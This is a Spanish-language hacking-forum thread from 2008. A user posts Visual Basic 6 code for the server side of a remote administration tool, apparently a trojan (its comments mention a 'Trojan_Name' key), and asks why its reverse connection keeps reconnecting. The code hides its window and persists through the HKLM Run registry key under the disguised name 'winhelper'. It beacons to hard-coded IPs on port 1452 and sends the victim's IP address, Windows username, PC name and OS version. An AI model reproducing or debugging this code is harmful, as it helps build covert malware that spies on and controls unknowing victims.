elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Problema de conexión con winsock
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Problema de conexión con winsock  (Leído 1,182 veces)
jmordenata

Desconectado Desconectado

Mensajes: 70


Ver Perfil
Problema de conexión con winsock
« en: 18 Marzo 2008, 13:36 pm »

Hola, estoy haciendo una HAR de multiconexión inversa^2 (el servidor es multiconexión y el cliente tambien) pero tengo un problema: El servidor se me conecta y desconecta cada 2 segundos.

Para recrear el error:

1 control winsock llamado server con index 0
2 timers llamados timer1 y timer2 con intervalo de 1100 y 1800 ms respectivamente.

codigo:

Código:
Private Sub Form_Load()
conexiones = 2
currenti = 0


Call Reg_Crea_KeyConValor(&H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "winhelper", """" & App.Path & "\" & App.EXEName & ".exe" & """") 'escribimos en el registro
Me.Visible = False 'dejamos invisibles el form.
Timer2.Enabled = False 'bloquemos el timer2..
Timer1.Interval = 1750 'ponemos en timer1 a 1750 intervalos.
Timer2.Interval = 1 'ponemos en timer2 a 1 intervalos.
ip(0) = "localhost" 'Definimos la variable IP.
ip(1) = "192.168.1.2"
port = "1452" 'Definimos la variable Port.
Load servidor(1)
servidor(1).RemoteHost = ip(1)
servidor(1).RemotePort = port

If GetStringKey(&H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion", "iName") = "" Then 'Si no existe la key Trojan_Name asignamos un nombre predeterminado.
Server_Name = "No Definido" 'Definimos varible.
Else 'Si no
Server_Name = GetStringKey(&H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion", "iName") 'Leemos la key.
End If 'cerramos el if

Version = "jServ 0.2" 'Definimos la variable Versión.
End Sub

Private Sub Timer1_Timer()
On Error Resume Next 'Si hay algún error salta a la siguiente línea.
If servidor(0).State <> 7 Then 'Si estas descontado.
servidor(0).Close 'Cerramos la conexión.
servidor(0).Connect ip(0), port '
Timer2.Enabled = True
Else
End If
If servidor(1).State <> 7 Then 'Si estas descontado.
servidor(1).Close 'Cerramos la conexión.
servidor(1).Connect ip(1), port '
Timer2.Enabled = True
Else
End If

End Sub


Private Sub Timer2_Timer()
On Error Resume Next 'Si hay algún error salta a la siguiente línea.


If servidor(0).State = 7 Then 'Si estas Conectado.
servidor(0).SendData "Conexion|" & Server_Name & "|" & servidor(0).LocalIP & "|" & Usuario_Windows & "|" & PC_Name & "|" & winversion & "|" & Version 'Enviamos el paquete de conexión.
Timer2.Enabled = False 'Bloque

End If
If servidor(1).State = 7 Then 'Si estas Conectado.
servidor(1).SendData "Conexion|" & Server_Name & "|" & servidor(1).LocalIP & "|" & Usuario_Windows & "|" & PC_Name & "|" & winversion & "|" & Version 'Enviamos el paquete de conexión.
Timer2.Enabled = False 'Bloque

End If

End Sub

La mayoría del código es de no sé quien pero yo también he hecho cositas... Necesito multiconexión inversa pero no se como hacer que no se piense que está desconectado... ya que cada 1800 milisegundos me manda esta cadena: ""Conexion|" & Server_Name & "|" & servidor(1).LocalIP & "|" & Usuario_Windows & "|" & PC_Name & "|" & winversion & "|" & Version" que supuestamente se tendría que mandar sólo una vez, por que se autobloquea. Pero el timer1 lo reactiva si piensa que está desconectado... no sé que hacer

toda ayuda será agradecida :)

Un saludo


En línea

jmordenata

Desconectado Desconectado

Mensajes: 70


Ver Perfil
Re: Problema de conexión con winsock
« Respuesta #1 en: 18 Marzo 2008, 14:22 pm »

He avanzado un poco en la investigación. Inicio el servidor, abro un cliente que esté en la lista de IPs y se conecta a él. Se conecta y se reconecta cada 2 segs aproximadamente. Abro el otro cliente (no aparece el servidor en la lista de conexiones) y en el primer cliente deja de reconectarse. Si cierro el primer cliente, aparece la conexión en el segundo cliente y se reconecta cada dos segundos aprox.

No sé que hacer, sinceramente :(


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Contraseña en Conexion WinSock
Programación Visual Basic
CGST 1 1,422 Último mensaje 20 Febrero 2011, 06:42 am
por BlackZeroX
Esperar conexión de Winsock
Programación Visual Basic
iaorengo 8 3,434 Último mensaje 8 Noviembre 2011, 19:20 pm
por raul338
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines